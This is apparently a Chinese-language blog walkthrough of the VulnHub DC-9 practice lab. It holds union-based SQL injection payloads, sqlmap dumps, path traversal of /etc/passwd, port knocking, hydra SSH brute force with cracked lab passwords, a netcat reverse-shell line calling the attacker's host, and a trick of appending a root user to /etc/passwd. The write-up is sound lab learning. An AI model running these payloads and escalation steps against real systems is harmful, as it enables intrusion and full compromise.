VulnHub DC-9

 博主介绍

‍ 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【python】 【VulnHub靶场复现】【面试分析】
点赞➕评论➕收藏 == 养成习惯(一键三连)
欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋
作者水平有限,欢迎各位大佬指点,相互学习进步!


一、信息收集

1.主机扫描

扫描到靶机IP:192.168.103.209

┌──(rootkali)-[~/桌面]
└─# arp-scan -l

VulnHub DC-9_第1张图片

2.端口扫描

DC靶场系列的老样子,22、80端口

但是发现22端口关闭了,一般渗透都是需要ssh连接或者说反弹shell之类的都是需要22端口开启的 ,所有说,后面我们会尝试把22端口开启

┌──(rootkali)-[~/桌面]
└─# nmap -sS -A -p- 192.168.103.209

VulnHub DC-9_第2张图片

3.web页面

访问80端口:

VulnHub DC-9_第3张图片

点击manage,跳出登录窗口

后续应该要收集信息,收集账号密码,登录

VulnHub DC-9_第4张图片

4.目录扫描

/config.php、/includes、/display.php、/search.php、/search.php

┌──(rootkali)-[~/桌面]
└─# dirsearch -u http://192.168.103.209

VulnHub DC-9_第5张图片

1./config.php

没有发现什么有价值的信息

VulnHub DC-9_第6张图片

2./includes

VulnHub DC-9_第7张图片

3.search.php

点击search ,有个输入框,可以试试有没有sql注入

VulnHub DC-9_第8张图片

输入框里面,输入1'or 1=1# 验证是否有sql注入

VulnHub DC-9_第9张图片

发现,跳转到了这个界面,说明此页面应该是有SQL注入

VulnHub DC-9_第10张图片

可以看出来,这个sql注入,是POST注入的

VulnHub DC-9_第11张图片

5.sql注入

一、手工注入

求列数:

search=1' union select 1,2,3,4,5,6#

VulnHub DC-9_第12张图片

求数据库

search=1' union select 1,2,3,4,5,database()#

VulnHub DC-9_第13张图片

求表

search=1' union select 1,2,3,4,5,(select group_concat(table_name) from information_schema.tables where table_schema=database())#

VulnHub DC-9_第14张图片

求字段

search=1' union select 1,2,3,4,5,(select group_concat(column_name) from information_schema.columns where table_name='Users')#

VulnHub DC-9_第15张图片

查看Username,Password字段的值

search=1' union select 1,2,3,4,5,(select group_concat(concat_ws('~',Username,Password)) from Users)#

VulnHub DC-9_第16张图片

┌──(rootkali)-[~/桌面]
└─# hash-identifier "856f5de590ef37314e7c3bdf6f8a66dc"
判断密码是MD5加密的
账号:admin
密码:transorbital1

VulnHub DC-9_第17张图片

VulnHub DC-9_第18张图片

二、sqlmap一把梭
sqlmap -u "http://192.168.103.209/results.php" --data="search=1" --batch  #查看是否存在漏洞

sqlmap -u "http://192.168.103.209/results.php" --data="search=1" --batch --dbs  #查看库

sqlmap -u "http://192.168.103.209/results.php" --data="search=1" --batch -D users --tables #查看表

sqlmap -u "http://192.168.103.209/results.php" --data="search=1" --batch -D users -T UserDetails --dump  #列出管理员账号密码(爆表)

VulnHub DC-9_第19张图片

都是员工账号和密码,先放着不管了,再去把另一个数据库staff的数据表也爆一下,

sqlmap -u "http://192.168.103.209/results.php" --data "search=1" -D Staff -tables

 sqlmap -u "http://192.168.103.209/results.php" --data "search=1" -D Staff -T Users --dump -batch

VulnHub DC-9_第20张图片

VulnHub DC-9_第21张图片

账号密码:

admin | 856f5de590ef37314e7c3bdf6f8a66dc (transorbital1)  

6.登录web页面

账号:admin
密码:transorbital1

VulnHub DC-9_第22张图片

VulnHub DC-9_第23张图片

点击Add Record

VulnHub DC-9_第24张图片

猜测可能存在文件包含漏洞,所以在manage.php的url处,接入file参数,读取/etc/passwd文件,在url后面加入?file=../../../../etc/passwd,顺利读取到/etc/passwd文件

VulnHub DC-9_第25张图片

但是到这里不知该怎么进行下去了,我们再从头看看,发现22端口的流量被过滤了,所以查阅了一些资料,看了看一些教程,猜测这里可能存在knockd服务

https://www.cnblogs.com/f-carey/p/16066178.htmlicon-default.png?t=N7T8https://www.cnblogs.com/f-carey/p/16066178.html

knockd服务:
端口敲门服务,即:knockd服务。
该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,
使系统开启需要访问的服务端口,才能对外访问。
不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。

//默认文件是:
/etc/knockd.conf

接下来我们就是需要对其ssh依次敲门了,然后打开ssh服务,进行ssh远程连接

通过文件包含读取knockd的默认配置文件/etc/knockd.conf

VulnHub DC-9_第26张图片

依次对7469、8475、9842端口进行敲门,然后就可以开门,命令

nmap -p 7469 192.168.103.209
nmap -p 8475 192.168.103.209
nmap -p 9842 192.168.103.209

VulnHub DC-9_第27张图片

依次访问之后,重新扫描22端口,可发现ssh服务已经开启,可以访问

VulnHub DC-9_第28张图片

把这里面的password和username保存在本地文件

后面用九头蛇爆破然后利用ssh远程连接

VulnHub DC-9_第29张图片

然后使用两个字典进行爆破

┌──(rootkali)-[~/桌面]
└─# hydra 192.168.103.209 -L user.txt -P passwd.txt ssh

VulnHub DC-9_第30张图片

爆破的账号密码如下:

用户                    密码
chandlerb              UrAG0D!
joeyt                  Passw0rd
janitor                Ilovepeepee

二、漏洞利用

1.ssh连接

1.chandlerb远程连接,没有发现什么目录

┌──(rootkali)-[~/桌面]
└─# ssh [email protected]

VulnHub DC-9_第31张图片

2.joeyt

也是一样

VulnHub DC-9_第32张图片

3.janitor

多了一个文件:.secrets-for-putin

VulnHub DC-9_第33张图片

新发现了很多的账号和密码

把这些都添加到开始的账号密码文件中

passwords-found-on-post-it-notes.txt  #密码

/home  #账号

VulnHub DC-9_第34张图片

┌──(rootkali)-[~/桌面]
└─# hydra 192.168.103.209 -L user.txt -P passwd.txt ssh

VulnHub DC-9_第35张图片

新的账号和密码:

账号:fredf
密码:B4-Tru3-001
┌──(rootkali)-[~/桌面]
└─# ssh [email protected] 

VulnHub DC-9_第36张图片

2.sudo -l提权

就是以root权限会进行执行/opt/devstuff/dist/test这个文件

所有我们接下来要进入这个文件中,然后进行写入木马,然后进行反弹shell,然后拿到root权限

VulnHub DC-9_第37张图片

echo 'nc -nv 192.168.103.129 1234 -c bash'>>/opt/devstuff/dist/test/test

发现权限不够,写入失败

3.openssl账户密码加密

再回到上一个目录查看,在/opt/devstuff目录下发现了一个test.py脚本文件

VulnHub DC-9_第38张图片

VulnHub DC-9_第39张图片

这是一个写入文件的脚本,生成一个密码用root权限执行脚本写入/etc/passwd文件,所以我们现在就需要构造一个拥有root权限的用户,并且在/etc/passwd文件中储存,只要使用这个用户登录后,就可以获取到root权限

现在我们回到kali,使用openssl工具创建一个本地的加密用户,

┌──(rootkali)-[~/桌面]
└─# openssl passwd -1 -salt admin1 admin1
$1$admin1$QDqsIRd5/oAdiXk0vdS1C/

VulnHub DC-9_第40张图片

跳转到/opt/devstuff/dist/test目录下使用echo命令在/tmp目录下创建一个文件,文件名自定义就行,我使用test2

echo 'admin1:$1$admin1$QDqsIRd5/oAdiXk0vdS1C/:0:0::/root:/bin/bash' >> /tmp/test2

VulnHub DC-9_第41张图片

执行sudo命令的时候,要在/opt/devstuff/dist/test目录下执行

用sudo命令执行test文件将/tmp/test2的内容写入到/etc/passwd文件中

sudo ./test /tmp/test2 /etc/passwd

4.flag

VulnHub DC-9_第42张图片

你可能感兴趣的:(VulnHub,web,网络,linux,web安全,安全,vulnhub)